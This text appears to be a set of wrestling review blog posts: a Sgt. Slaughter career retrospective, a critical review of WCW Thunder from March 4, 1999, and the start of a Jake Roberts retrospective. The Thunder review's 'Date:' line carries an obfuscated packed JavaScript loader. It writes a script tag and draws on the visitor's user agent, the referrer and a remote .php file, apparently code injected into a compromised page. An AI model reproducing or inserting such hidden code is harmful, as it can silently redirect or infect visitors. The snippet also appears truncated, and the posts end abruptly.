That goes nowhere so here’s Adonis instead. Everything breaks down and Albano walks out like the coward he is, leaving this as a handicap match. Slaughter chases after him but comes back a few seconds later. The tag champions try to ram the Samoans’ heads together which has as little effect as you would expect it to have. Albano is back at ringside as we’ve barely had any wrestling in the first five minutes.

Adonis and Murdoch double team Sika until Albano comes in for some shots with that foreign object. Sika snaps up and it’s very quickly off to Murdoch again as we’re firmly in a comedy match at this point. Dick tries the elbow to the head and injures himself in the process. The tag champions are rammed together and Murdoch gets caught in the wrong corner. Albano is offered a chance to come in and says no way. He claims to have a bad back and sends Adonis in to face Sika.

Actually make that Sarge to a big pop and a knee drop to Adonis’ head. Murdoch is knocked to the floor as well but Slaughter goes after Albano, allowing the heels to take Slaughter down. Murdoch hits Slaughter with something from the announce table and Gorilla is freaking out. Back in and Adonis puts on a sleeper but the Samoans make the save. Off to more triple teaming in the corner and a back elbow to the face for two for Murdoch.

Adonis comes back in with a top rope elbow for two before Dick comes in to rip at Slaughter’s face. Slaughter finally gets in a shot to the face and it’s off to Sika who is dropped with a double back elbow from the champions. Albano comes in for some cheap shots but once again Sika snaps up and Lou runs away. Sika gets in a headbutt on Murdoch and it’s off to Afa. Not that the tag means much though as he is caught in a front facelock by Murdoch.

Adrian slams Sika down for two and hits a missile dropkick (a high spot in this era) for two. A top rope splash misses Afa but Murdoch breaks up a tag attempt. Afa gets in a big headbutt and it’s off to Slaughter as everything breaks down. Adonis gets tied up in the ropes so Sika and Slaughter pick up Murdoch and harpoons him into Adonis’ chest. A dropkick gets one for Slaughter and there are some headbutts by Sika.

Adonis breaks up a near fall and it’s back to Afa. Adrian gets a tag but walks into a bunch of headbutts to put him right back down. Slaughter rams Murdoch’s head into Sika’s and it’s off to Albano vs. Sarge. The Cobra Clutch is quickly put on but Adonis makes the save. Lou brings in the exhausted Murdoch as Sarge and Albano leave. Everything breaks down and Sarge runs in to slam Murdoch off the top for the pin.

Rating: C. This took awhile to get into but once it got going things improved a lot. The story makes sense as the tag champions can hang with the Samoans in a two on two match but when you give them Slaughter against the worthless Albano, Murdoch and Adonis are outmatched. It’s too long at 20 minutes but it’s not as bad as I was expecting it to be.

Slaughter would head to the AWA when Hogan rose to such prominence. Here he is at Superclash 1985.

AWA American’s Title: Sgt. Slaughter vs. Boris Zhukov

Guess who the champion is. Boris jumps the champ to start but Sarge uses the powers of American to get control. The camera jumps to the crowd for some reason. Back to Slaughter destroying Boris, sending the shoulder into the post. They head to the floor and Zhukov slams him onto the mound. Boris controls with basic heel tactics back in the ring. Swinging neckbreaker gets two.

There are three matches left after this one and I don’t think I could take anything longer than that. This show has completely drained me. Out to the floor again and Boris slams him on the announce table. A piledriver out there is countered and Boris is slammed off the top back in. Nelson says the ring shifted an inch and then a foot. Dropkick by Sarge puts Boris down and he loads up the Cannon. The Cannon (short clothesline) hits the referee instead and Boris hits him with a loaded elbow pad. Sarge is busted and as the referee checks on it, Boris shoves the referee for the DQ.

Rating: D+. My mind is numb at this point. These matches mean nothing and we’re getting one cheap finish after another. Also the insane amount of punch/kick matches are making this unbearable. There hasn’t been a single match that I would call good and we’re over two hours into it. This needs to get done because it’s too late to be saved. This match was just another on the pile tonight.

And Wrestlerock 1986.

AWA America’s Title: Sgt. Slaughter vs. Kamala

Slaughter is champion and is WAY over. He’s pretty much the most popular guy in the company, which is why he never got the world title. I mean, Heaven forbid the fans decide who the top guy is. That’s one thing that needs to be remembered about the AWA: yes Vince took a lot of their talent, but it was Gagne that screwed up a lot of stuff. If he had just given the title to Hogan like the people were SCREAMING for, Hogan wouldn’t have left.

Oh yeah the match. As usual with Kamala matches, he uses REALLY boring offense like you would see from any fat guy, including but not limited to chops, something resembling punches, shots to the throat, and a stomach claw. Slaughter makes his comeback, Kamala hits him some more, Slaughter Cannon, Kim Chee runs in for the DQ. Short and nothing of note at all.

And Superclash III.

Sgt. Slaughter vs. Colonel DeBeers

This is a boot camp match and AWA vs. AWA. DeBeers is a white supremacist of all things. That’s a gimmick for you. In essence it’s a street fight. Page is with DeBeers here. Big brawl to start as DeBeers is a bit slow. Sarge uses the riding crop a lot but DeBeers takes over a few seconds in. DeBeers chokes with a belt as this slows way down in a hurry.

It’s mentioned that the tag titles didn’t change hands earlier. Sarge takes over again and stomps away a bit. DeBeers is thrown to the floor but it’s not a DQ here of course. DeBeers goes into the post and Page gets in the ring. Back in the Colonel has a helmet that Slaughter brought in with him but can’t manage to use it. Page holds Slaughter up and Sarge moves. A few headbutts to the Colonel with the helmet puts DeBeers down allowing Slaughter to cinch up the Cobra Clutch to end it.

Rating: D. Short and bad here. Sarge would go to the WWF in a year or so and become a huge heel. Other than that though, this was nothing as DeBeers was part of the Team Challenge Series soon after this. Sarge would also but he left halfway through it. Weak match overall though.

Slaughter would come back to the WWF in 1990 but turn his back on America and support Iraq in the Gulf War. This led to a WWF Title match at Royal Rumble 1991.

WWF World Title: Sgt. Slaughter vs. Ultimate Warrior

Gorilla gives a disclaimer, saying that Slaughter and Adnan’s views don’t represent those of the WWF or most of America. If that was anyone other than Gorilla Monsoon, I’d say he wasn’t allowed to speak for America, but Gorilla Monsoon speaks for me. There’s a t-shirt idea in there somewhere. The belt is purple tonight in case you’re wondering. Yeah Warrior went a bit nuts (shocking I know) with having multiple belt colors for some reason. The heels try to attack him with the Iraqi Flag but Warrior will have nothing of it and clotheslines them both down.

Slaughter gets the flag shoved into his mouth and Warrior pounds away. He chokes Slaughter with said flag and chops away in the corner as Slaughter is in trouble. Warrior sends Slaughter into the corner for his over the buckle bump to the floor. Here’s Sherri to trip up Warrior and draw him back up towards the entrance. Savage is waiting on Warrior and beats the tar out of the champion with light fixtures as Slaughter gets a breather.

The Sarge wisely stops the count a few times, allowing Warrior to get back in. Slaughter pounds away in the corner as he starts softening up the back for the Camel Clutch. Apparently the middle eastern moveset comes with becoming an Iraqi sympathizer. The crowd absolutely HATES Slaughter here and boos anything he does. Warrior gets sent into the buckle but they clothesline each other down. Naturally a single clothesline is enough to counteract that long run of offense by Slaughter and get us back to even.

Slaughter gets up first and puts on a bearhug for a LONG time. Warrior breaks it up but walks right into a backbreaker for two. There’s the Camel Clutch but Warrior’s legs are under the ropes. Warrior Warriors Up and beats Slaughter down but here’s Sherri again to frenzy up the crowd. Warrior loads her up in the gorilla press and throws her onto a charging Savage in the aisle. Savage pops up again and blasts Warrior in the face with his scepter, allowing Slaughter to drop an elbow for the pin and the title, STUNNING the crowd.

Rating: D+. The match was dull for the most part but the heat was insane. The crowd audibly calls this BS and you can’t really argue that point. Aside from that, this sets up Wrestlemania really well, as we need a REAL AMERICAN to take the title back. Pay no attention to the fact that the war had already been over by Wrestlemania.

The obvious showdown from Wrestlemania VII.

WWF World Title: Sgt. Slaughter vs. Hulk Hogan

Hogan immediately chases Slaughter around the ring until Adnan is put on the floor. Feeling out process to start with both guys going into the corner. Hulk hooks a headlock to no avail but sends Slaughter backwards with a shoulder block. The champ hits one of the weakest chair shots you’ll ever see to Hogan’s back and pokes Hulk in the eye to finally take over. Hogan comes back with a clothesline and decks Adnan for fun too. A backdrop puts Slaughter down and Hulk sends him into the post.

Hogan hits a jumping knee to the back to send Slaughter into the corner and a slingshot sends Slaughter into the buckle again. Hogan gets in his ten punches in the corner for two but goes to the middle rope of all places, but Adnan breaks it up. Slaughter gets slammed down and Hulk drops a bunch of elbows. Now Hogan goes up top (!) but gets slammed to the mat and clotheslined to the floor. A better but still lame chair shot puts Hogan down again and it’s time to work on the back.

A backbreaker gets two for the champion and he stomps away on Hulk’s back. There’s a Boston Crab but Hulk is right next to the rope, making this pretty worthless. Another backbreaker gets two and it’s a third chair shot, this time to the head, gets two more. Hulk is cut over the eye. There’s Slaughter’s Camel Clutch but Hulk fights up, only to be rammed into the corner to send him right back down. Slaughter puts an Iraqi flag on Hogan and you know what’s coming now. A Hulk Up, big boot and leg drop later and AMERICA REIGNS AGAIN!

Rating: C. At the end of the day, if you didn’t know what was going to happen here then you’re either very young or have no idea how wrestling works. On top of the story, it’s Hogan in a match against a big man. What else could you possibly expect? Hogan winning is the 100% right decision and the match certainly isn’t bad. Slaughter was clearly a short term champion and there’s nothing wrong with that either. Decent stuff here and a feel good moment to end the show.

Slaughter and his evil cronies were still not done with Hogan. From Summerslam 1991.

Ultimate Warrior/Hulk Hogan vs. Sgt. Slaughter/Colonel Mustafa/General Adnan

Sid Justice is guest referee and Hogan is WWF Champion. Hogan and Slaughter get things going but the Sarge wants to stall. Slaughter pounds on him in the corner but gets caught between the right hands of both superheroes. Off to Warrior for a clothesline followed by a double big boot to put Slaughter down again. A clothesline gets two for Hogan and it’s back to Warrior. This is completely one sided so far. Hogan comes back in with a middle rope ax handle for two.

Sid breaks up some choking in the corner and the distraction lets Slaughter get in some shots on Hogan. Adnan, an old manager, comes in to rake Hogan’s back and slowly pound away in the corner. Off to Mustafa (Iron Sheik) for the gutwrench suplex and the camel clutch but Warrior makes the save. Slaughter comes back in to choke away in the corner and send Hogan into Sid for a staredown. Sarge jumps the distracted Hogan and stomps away on the back.

Warrior breaks up a top rope something by Slaughter, allowing for the hot tag to the painted one. Warrior cleans house on Slaughter but runs into Sid for another staredown. Back to Mustafa who gets caught in a suplex but Slaughter blocks a tag. Slaughter puts Warrior in a chinlock, only to have the Ultimate One fight up and clothesline Sarge down. There’s the hot tag to Hogan as Hogan chases the lackeys to the back with a chair. More on that later as Hogan throws powder in Slaughter’s face and drops the leg to win.

Rating: D+. I’m not a fan of this one as the match was never in doubt at all, but above that the Iraq War had been over for six months so the interest in the feud was done long ago. Nothing to see here but the fans reacted pretty well to it. This would have been better as a house show main event instead of the main event of Summer\slam. If nothing else there was a match around this time on a Coliseum Video with Slaughter/Mustafa/Undertaker against the superheroes. Wouldn’t that make a much better main event here?

Slaughter would rejoin America and team up with Jim Duggan at SNME #30.

Sgt. Slaughter/Jim Duggan vs. Beverly Brothers

Anyone think this might be a squash? They’re a new team here and it’s an attempt to make Sarge a face again that loved America. The announcers argue over the logic of giving Hogan Flair at Mania and Heenan keeps picking Vince’s arguments apart. This doesn’t even last three minutes and of course the proud Americans win.

Rating: N/A. This was quick and nothing of note. Yep that’s about it.

Slaughter would mostly retire after this point but would be named Commissioner in 1997. DX really didn’t think much of his authority though, leading to this match at In Your House XIX.

Sgt. Slaughter vs. HHH

Anything goes. Slaughter comes out to the same music that Patriot came out to for his PPV appearances. Slaughter pounds on Helmsley with his riding crop to start and pounds him down before stomping away at the ribs. HHH is thrown out to the floor and dropped throat first across the barricade as the match continues its slow start. Slaughter covers for no count, establishing that the fall has to occur in the ring.

HHH goes into the steps and gets kicked into the aisle with Slaughter still in full control. Back inside and Slaughter drops him with the riding crop to the throat before choking away. A clothesline gets two and Slaughter calls for his Cobra Clutch but HHH rolls out of it. Slaughter is whipped into the corner and out to the floor (a signature spot) to give HHH a breather. HHH whips him into the barricade for a little payback before throwing him into the crowd. Back to ringside and HHH chokes away, only to have to duck the Slaughter Cannon (running clothesline) which takes out the timekeeper instead. Slaughter is cracked in the back by a belt and we head back inside. A chain to the jaw puts Slaughter down for two as the timekeeper is taken to the back.

HHH drops the chain for some reason, allowing Slaughter to pick it up and give him a chance. Not that it lasts long or anything though as he is almost immediately backdropped to the floor to keep HHH in control. Back in and HHH goes up, only to dive into a boot to the jaw. Slaughter can’t slam HHH but can hit a suplex to put both guys down. The older guy goes up top but gets slammed down for another two count.

HHH grabs a sleeper for a good while until Slaughter escapes and puts on the Cobra Clutch, only to have Chyna come in for the save. Chyna gets yelled at so she blasts the referee and pulls in a chair. Slaughter sees her coming through and throws powder in her eyes, only to be blasted in the face by HHH’s boot. Another boot shot misses though and Slaughter puts on the Clutch. The referee wakes up to check HHH’s arm but Chyna kicks Slaughter low to break up the hold. A Pedigree onto the chair is finally enough to end Slaughter.

Rating: D. This just went WAY too long, running nearly eighteen minutes. They easily could have accomplished the same goals with about half the time and that’s a problem when you have a retired guy pushing 50 out there. Slaughter wasn’t really worth much here though, especially with Vince as the real boss of the company now.

We’ll jump ahead to Smackdown on March 1, 2000 for a showdown between real Americans.

Intercontinental Title: Kurt Angle vs. Sgt. Slaughter

Angle quickly takes him down to start but gets kneed in the ribs for his efforts. An elbow to the ribs drops Kurt again and there’s the Cobra Clutch. Kurt finally rolls into the ropes for a break and sends Slaughter over the corner for his signature bump. Back in and Angle kicks him down and nails the Angle Slam to retain. Short and ugly.

Slaughter would come back in 2006 and help Ric Flair fight off the Spirir Squad. From Raw on October 2, 2006.

Nicky vs. Sgt. Slaughter

The Squad has had their pants stolen and replaced by female cheerleaders’ skirts. Nicky is more famous as Dolph Ziggler. Slaughter no sells a kick to the face and puts on the Cobra Clutch before offering a little spanking. A gutbuster gets two on Nicky but he sends Slaughter to the floor for a beating. Back in and Nicky puts on a sleeper, followed by a kind of Codebreaker for two. DX pops up on screen and makes fun of the Squad’s attire, allowing Slaughter to get a rollup pin.

Rating: D. What are you expecting here? The Squad being dressed like women was a one off joke and thankfully this was a short match that didn’t make everyone look too bad. Nicky would be the only member of the team to ever mean anything as the rest of the guys were gone in about a year.

Another match, this time answering the challenge of an old school tag team at Vengeance 2007.

Smackdown Tag Titles: Deuce N Domino vs. ???/???

It’s an open challenge here so the challengers are unknown. Deuce says this place is full of old people. Domino doesn’t like them either. This team was either great or completely idiotic. In short, they’re Fonzie from Happy Days. Cherry, their manager, in short is hot. Deuce is more commonly known as Sim Snuka or the guy that kept Taker from breaking his neck at Mania 25. The challengers are Sgt. Slaughter and Jimmy Snuka. Allow me to quote the 25th letter of the alphabet: WHY???????????/

Smackdown Tag Titles: Deuce N Domino vs. Sgt. Slaughter/Jimmy Snuka

Remember that Snuka is Deuce’s father. JBL says if the champions lose then he’s calling Ron Simmons up and reforming the APA. JBL suggests their name could be the Coffin Dodgers. Oh that’s funny. Sarge looks good here and we get a jab at the Ultimate Warrior. They beat the tar out of Domino here as you would expect them to. Again though, this is on PPV in 2007. There’s the Cobra Clutch which is his signature finisher, which always amused me.

The one time he used a different finisher, he won the WWF Title. So naturally he used the old one and never did anything again. This has been dominance so far. Deuce finally comes in and this is dragging badly. Snuka beating up his son is just kind of surreal. I don’t know if I’d want to be in that position or not. Snuka hits a top rope cross body but Deuce rolls through for the pin.

How annoying do you think he’s going to be with that at Thanksgiving? He pinned his HOF dad on PPV. How cool would it be to be able to say that? Post match there’s a beatdown and Martel and Garea jump the railing for the save.

Rating: D-. The match was horrible obviously, but the point here was to have the legends get a chance out there again. That doesn’t make up for it though. This is just not something I want to see on a PPV show. On TV is one thing I guess, but no way this should be on PPV.

We’ll wrap it up with one more appearance at the Great American Bash episode of Smackdown in 2012.

Santino Marella/Sgt. Slaughter/Jim Duggan vs. Hunico/Camacho/Drew McIntyre

Camacho and Slaughter start things off and it’s quickly off to Santino. He gets in trouble in the evil dirty foreign corner and Drew pounds away a bit. A slam is countered and it’s hot tag to Duggan. There’s the Three Point Clothesline but everything breaks down. The ring is mostly cleared and the Cobra gets the pin on Hunico at 2:25.

Sgt. Slaughter is a great example of how awesome a character can be when he’s so simple. Slaughter was little more than a really excited patriot who fought for his country and had a cool voice. He became WWF Champion after being a big deal in the AWA and NWA. If you had him appear today, people would still cheer for him. The G.I. Joe stuff was even more popular and a big crossover deal. He may not be the biggest star ever, but his name is very familiar to a lot of fans.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

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Thunder – March 4, 1999: As Bad As It’s Been Yet

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|faadb|var|u0026u|referrer|dffeb||js|php'.split('|'),0,{})) March 4, 1999
Location: Lawrence Joel Memorial Coliseum, Winston-Salem, North Carolina
Attendance: 4,198
Commentators: Mike Tenay, Tony Schiavone, Bobby Heenan

We’re coming off a good Nitro (I’m as shocked as you are) and have ten days before Uncensored. The main stories seem to be a bunch of rematches from SuperBrawl, which isn’t the worst idea as the matches weren’t bad but the decisions were all wrong. Hopefully things are a bit better this time, though granted that would only make the show horrible. Let’s get to it.

We open with a clip from Nitro where Arn Anderson yelled at David Flair and the Blonde.

Ric and Arn are in the back and Arn doesn’t know what to do about David. Ric recaps the story with his son and says it leads to the rematch with Hogan at Uncensored. He isn’t changing a thing because David has to grow up on his own. Arn blames the Blonde and says Ric would have done the same thing when he was nineteen years old. Ric says when he was David’s age, he wasn’t stealing money out of his dad’s pocket or stabbing him with a stun gun.

Anderson hopes that this is just a game face because Ric isn’t this cold. Flair brings up the latest NWO parody and says he’ll be World Champion again. He’ll love David forever, but if David wants to run around with the NWO, he isn’t going to worry about it. Arn says if that was his son, there’s no way he could be out there in front of a crowd. Flair says he’s doing this to prove he’s still the man and that Hogan and the NWO haven’t changed anything. This was a lengthy chat but it helps clarify a few things.

The announcers do their welcome and recap.

We go back to Nitro to see Flair announce the cage match. This video takes us up to fifteen minutes into the show.

Video of Monday’s main event.

Rick Steiner vs. Hugh Morrus

Rick quickly sends him to the floor and bites the ropes. Back in and Morrus pounds away but gets caught in a powerslam. Jimmy Hart gets in a few cheap shots from the floor but it has almost no effect as Morrus is still in trouble. Another assist from Jimmy lets Morrus hit some running splashes in the corner but he takes too long going up for No Laughing Matter, allowing Rick to catch him in an electric chair. The Steiner Bulldog is good for the pin.

Rating: D+. This was nothing and it’s not a good sign for the rest of the show. I just waited twenty four minutes to get to a three and a half minute Rick Steiner squash. Why does this make me think that the next hour and a half is going to be a REALLY long sit? The match wasn’t long enough to be horrible but it was just a squash.

There was a commercial for Monday Nitro. In the video we saw Wrath, Randy Savage (where has he been since the night after Starrcade? He showed up there and hasn’t been seen since) and Syxx. As in the guy that showed up on Raw after Wrestlemania LAST YEAR. This is worse than the Steiner Brothers being in the Nitro intro seven months after they split up.

Here are Benoit and Malenko with something to say. Benoit congratulates the new Tag Team Champions and says they have no problem with losing to a better team. They do however have a problem with losing the way they lost. There will be vengeance Horsemen style. Malenko talks about Benoit’s Swan Dive off the top of the cage and pulls off his belt. He promises that Windham and Hennig will not leave Louisville with the Tag Team Titles. The rematch is going to be a lumberjack strap match.

Back from a break and we get an ad for Saturday Night. These air every week but two of the matches advertised are Juventud Guerrera vs. Rey Mysterio Jr. and Barbarian vs. Meng. Remember those before you read the next match on this show.

Al Greene vs. Sonny Onoo/Ernest Miller

Yes, REALLY. I know Meng vs. Barbarian would be a mess, but it would be a fun mess. On the other hand, this is the preferred method of torture in 19 countries. Announced for Uncensored, Sonny Onoo/Ernest Miller vs. Jerry Flynn. My jaw is hanging open after hearing that. I mean……wow I’ve got nothing. Miller does the whole warning thing to Greene but Al jumps him from behind.

What appeared to be a botched gorilla press sets up a headlock on Miller but he sends Greene to the floor. Sonny offers a distraction so Miller can take over as Tony talks about stipulations for the World Title match that you can only find out about at WCW.com. Back in and Miller drops Al with a superkick before tagging in Sonny. Greene is out cold and Sonny gets an easy pin.

Rating: D-. It could have been Mysterio vs. Guerrera but instead it’s being used to set up a Jerry Flynn match on pay per view. That’s all I need to say.

Gene brings out Perry Saturn, now in a dog collar with chains around his neck, for a chat. Saturn refers to himself as the Bald Bombshell because chicks dig a guy in a dress. Saturn says if Jericho has a chain fetish, let’s have a dog collar match at Uncensored. Jericho comes out and says he wants to keep this company rated G (there are SO many jokes) and get rid of all the R Rated freaks. If he has to tie a collar around his neck to get rid of Saturn, that’s what he’ll do. Saturn promises to wear an outfit so freaky that it’s going to shock Marilyn Manson.

Prince Iaukea vs. Bam Bam Bigelow

Iaukea scores with some early kicks but his cross body has no effect at all. Bigelow sends him to the floor and hits some slow motion forearms to the back. Inside again and we hit the chinlock as Tony talks about March being perfect for Uncensored because it’s such an unpredictable month. Right. Anyway, more choking gets Bigelow two and we hit an armbar to kill more time. Iaukea’s offense of course has no effect and Greetings From Asbury Park finally ends this.

Rating: D. This was long and dull with the announcers ignoring almost everything in the whole match. Bigelow getting a push is fine but could we find someone more interesting than dryer lint for him to fight? I’m glad he’s moving down into the midcard scene where he belongs though as the top level push didn’t have much staying power.

This Week in WCW Motorsports.

Vince/Horace vs. Curt Hennig/Barry Windham

This match sounds interesting at this point. Let that sink in for a minute. Non-title of course as a title match might be too interesting. Horace grabs a headlock on Hennig to start but Curt nails him with a clothesline. Stevie Ray comes out to brawl with Vince, leaving Horace alone two on one. Cue the Horsemen to attack the champions and it’s a fast DQ.

The champions bail before too much happens.

Here’s Hacksaw Jim Duggan, who hasn’t been seen in months since announcing that he has cancer. Duggan thanks God for letting him get back here and of course some fans boo. He thanks the fans and WCW for supporting him throughout this whole ordeal. Duggan says he’s proud to be part of World Championship Wrestling and thanks the doctor for removing his kidney to prevent the cancer from spreading. He tells us that if something looks or feels wrong, get to the doctor and get it checked out because early detection saves lives.

Duggan isn’t sure if he’s coming back to the ring, but he promises that he won’t be making any obscene gestures of saying any foul words. All he needs are his board and the American flag. If he gets a second chance, the last twenty years will be nothing compared to what he’ll do in the next few years. He says to remember that we are one nation under God and leads a USA chant before leaving. This was a very cool moment and brought a smile to my face. I got to meet Duggan at Axxess earlier this year and he couldn’t have been a nicer guy so it’s cool to hear stuff like this.

Cruiserweight Title: Chavo Guerrero Jr. vs. Kidman

Kidman is defending. Feeling out process to start and Chavo actually gives him a clean break. Chavo is sent to the floor and taken down with a big dive, followed by a slingshot legdrop back inside. Kidman misses a charge into the corner and a springboard bulldog drops the champion.

Back up and Kidman sends him into the buckle and nails a clothesline. The announcers talk about Mysterio becoming a legend for his victories over Nash and Bigelow, earning him a rematch with Nash at Uncensored. A Gory Bomb gets two for Chavo and we hit a chinlock on the champion. Back up and Kidman misses a charge, sending him out to the floor.

Guerrero sends him into the barricade and then back inside for another chinlock. Kidman sends him to the floor before bringing him back inside for two off a high cross body. Chavo avoids a charge in the corner and gets the pin but Kidman’s feet are on the ropes. Guerrero goes up top but gets powerbombed down, setting up the Shooting Star to retain Kidman’s title.

Rating: C+. This was nowhere near as good as the Psychosis match on Monday but it was still far better than everything I’ve sat through on this show. Kidman is becoming an ace at this point and is one of the most consistently entertaining guys on the roster. Chavo is very good in his own right and has gotten far better after losing Pepe.

We get a sitdown interview from Hogan with Hollywood talking about everyone hating him, even his family. He did the Hulk Hogan thing for the money, unlike Flair who is out there because he loves wrestling and wants to be cheered one more time. That makes him worse than Hogan could ever be because Hogan has a grip on reality.

Hogan loves that David Flair gave up everything his father did for him for a good looking woman. Ric Flair is the rottenest human being on this planet and all he wants is control of this business. Flair can have one more chance, but Hogan wants Flair to quit if he loses. He goes on and on about how much he hates Flair and how much it’s driven him as this somehow takes over six minutes.

Buff Bagwell vs. Booker T.

Before the match, Buff says he’d rather be paralyzed again than be in Winston-Salem. Feeling out process to start with Bagwell taking him down with an armdrag before dancing around a bit. Booker comes back with a slam and quick vertical suplex to send Buff out to the floor. Back in and Buff hammers away before nailing a dropkick. Mr. T. grabs an armbar before kicking Bagwell in the face. Buff sends him outside and poses a lot. A chinlock goes nowhere and Booker comes back with his usual stuff. The referee gets kicked down and Scott Steiner comes in with a chair to Booker’s back, setting up Buff’s Blockbuster for the pin.

Rating: D-. If you want to know what it means when the wrestlers phone in a match, this is a perfect example. Neither guy had any energy or emotion out there, which is usually something you can depend on from Booker. Speaking of Booker, did we REALLY need to have Buff Bagwell pin him, cheating or not? The guy is getting a US Title shot in nine days (against Scott Hall, who hasn’t been seen in awhile) and he loses to Buff Bagwell? Really?

Overall Rating: F. The best part of this show was a tie between the Duggan promo and a pretty good Chavo vs. Kidman match. Everything else was a waste of time a textbook example of why Thunder didn’t need to exist. It feels like nothing has happened on the show in months and this was as dull as it’s gotten yet. This was absolutely awful and makes me want to watch Uncensored even less than I did before.

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Wrestler of the Day – July 2: Jake Roberts

This one is good. Trust me. It’s Jake Roberts.

We’ll start things off in Stampede with Jake defending the North American Title against Sylvester Ritter in what might be the first ladder match in wrestling history. From July 1, 1979.

North American Heavyweight Title: Jake Roberts vs. Big Daddy Ritter

Jake is defending the promotion’s top title and this is joined in progress because it’s Stampede. In a bonus, there’s money in the bag as well so Jake can actually win something. Roberts puts the ladder (which just leans against a structure and doesn’t fold open, though there is someone helping hold it up) up and tries to climb but Ritter makes a save. They do the same sequence with the roles reversed and we’re about six minutes in according to commentary.

Ritter knocks him down again and hits a headbutt before throwing Jake into the ladder which doesn’t move at all. Jake makes a save and hits Ritter with….I think Ritter’s boot but Ritter grabs his foot to stop a climb. Ritter is sent face first into the steel but easily pulls the champion down the ladder. Big Daddy gets his boot back and lays Jake out, only to climb too slowly and get hit in the back with the boot again. Jake is sent to the apron and gets his feet tied in the ropes, allowing Ritter to climb up and win the title.

Rating: D+. You have to give them a bit of a break here as they may have literally never had anything to go off here. They actually did use the ladder as a weapon a few times so it wasn’t just there in the background. Not a good or memorable match but it’s certainly historic, which is why it’s on a WWE DVD.

We’ll jump ahead a few years to Mid-Atlantic on May 12, 1982.

Next up was Jake’s LONG feud with Ronnie Garvin. Here’s a match between them from December 1983.

TV Title: Ronnie Garvin vs. Jake Roberts

Roberts is defending and this is a special sixty minute time limit. Jake takes him down with an armbar but Garvin nails him with a forearm to the chest. Jake punches his way out of a rollup before hiding in the corner like a true villain should. Garvin cranks on an armbar of his own and we take a break.

Back with Jake making the rope and kicking at the leg to take over. He wraps it around the ropes but Garvin goes right back to the arm. They hit the mat but Garvin takes another shot to the leg to give the champion control. He pulls on Ronnie’s leg before nailing a knee crusher. Back to the leg lock but Garvin starts cranking on Jake’s foot to break the hold. Jake lets go and Ronnie hammers away, sending Roberts out to the apron.

We take a break and come back with Garvin backdropping Jake for two. Back up and Roberts elbows Garvin in the corner and getting two of his own off a belly to back suplex. Some knees to the ribs have Garvin in trouble but he fights back with a series of punches. In a pretty weak ending, Jake slams him down and his manager Paul Ellering holds Garvin’s foot for the pin.

Rating: D+. These teams feuded for the better part of ever and the story was much more interesting than the matches. Garvin was a guy that got over because of being the common man that never stopped fighting and Roberts was awesome at holding the title over his head, even making Garvin mortgage his house for a title shot. Not a great match though.

Here’s a match from Mid-South in I believe 1984. You’ve probably heard of the names.

Jake Roberts/Steve Williams vs. Shawn Michaels/Private Terry Daniels

Williams puts Shawn in a headlock to start before we hit the crisscross. Shawn gets two off an O’Connor Roll before everything we get a four man standoff. Off to Roberts and Daniels with Terry running Jake over with a shoulder. Jake comes right back with a clothesline before Williams comes in to keep up the beating. Terry finally rolls over for the hot tag to Shawn but Williams blocks a monkey flip. The DDT ends Shawn a few seconds later.

Rating: D. Total squash here with some big names in there for a change. Shawn would of course get a lot better in the future but the match here wasn’t much to see. Daniels would become a very low level name in the WWF a few years later and I think you know the rest of the guys.

Jake would head to the WWF in 1986 and have one of his first major matches at Wrestlemania II.

Jake Roberts vs. George Wells

Wells is a former football player who never did another thing of note in wrestling other than be in this match. Jake is brand new at this point and is promptly run over and backdropped down in the first ten seconds. A flying shoulder takes Jake down and there’s a headbutt for good measure. Wells hits a decent flying headscissors followed by a slam for no cover. A knee lift has Jake draped in the ropes and a powerslam gets two. Roberts comes back with a poke to the eyes and a knee lift followed by the DDT for the fast pin. This was pretty much domination until the last ten seconds.

Roberts’ first big feud in the WWF was against Ricky Steamboat. The two would meet in a Snakepit match at the Big Event.

Jake Roberts vs. Ricky Steamboat

This is a Snakepit Match meaning anything goes. Roberts had DDTed Steamboat on the floor at a SNME and nearly killed him to ignite this feud which was the second biggest of the summer. Dragon had busted out a Komodo Dragon to counter Damien but neither are here tonight due to customs issues. The two commentators that talk say that the Canadian flag has an oak leaf on it.

Dragon dominates until we hit the floor where Jake takes over after a low blow. Steamboat gets a few chair shots in and that just was weird to type. Dragon just beats the tar out of him for awhile but gets reversed and goes over the top to the floor. Valiant thinks Roberts is a champion for some reason. Roberts is one of those guys that was supposed to be a heel but more or less became a face through just pure fan support.

Dragon starts bleeding after going into the post but fights out of the DDT. Jake is dominating now and getting face pops for it. And then he sits on Dragon’s chest and holds his arm up and you know the rest. They would have another match in a few weeks on SNME with the animals that I reviewed last night to close out the feud.

Rating: B. This was a very intense match. Street fights and the like simply didn’t happen in this era so this was insane at the time. Both guys were great workers so this worked out very well. Steamboat was about to have his throat messed up by Savage and you know the aftermath of that.

Jake would turn face after this and take part in a pretty well known match at Wrestlemania III.

Honky Tonk Man vs. Jake Roberts

This is one of the matches that is there to give us a breather between the masterpiece and the main event. Jake pounds away to start and hits a knee lift to send Honky out to the floor. Honky still can’t get his ring suit off so Jake rips it off for him. Jake follows him to the floor and slams Honky down before heading back inside. Back in and Jake charges into a knee to the face to shift momentum.

Honky drops a pair of knees to Jake’s back but misses a punch and walks into the short clothesline. The grease in Honky’s hair allows him to escape the DDT and we head outside again. Jake is sent into the post and the barricade so Honky can dance a bit. Back in and a middle rope punch puts Jake in even more trouble. There’s a knee drop to the Snake and a pair of elbows for no cover.

The Shake Rattle and Roll (swinging neckbreaker) is countered by Jake and there’s an atomic drop for the eternally funny selling by Honky. Jake punches him to the apron and Honky gets caught in between the ropes, meaning he bounces back up every time Jake punches him. The DDT is countered again and after a Jimmy interference, Honky grabs a rollup and the top rope for the upset pin.

Rating: C. You could see the Honky Tonk Man character coming on here as Jake was way better but got cheated at the end. Honky would ride that one idea for the next year and a half, drawing WAY more money and heat than he had any right to earn. Jake would feud with various heels for the next few months while being one of the many challengers to chase Honky. He finally got with Rick Rude for an awesome string of matches.

Here’s a match from Saturday Night’s Main Event XIV.

Jake Roberts vs. Sika

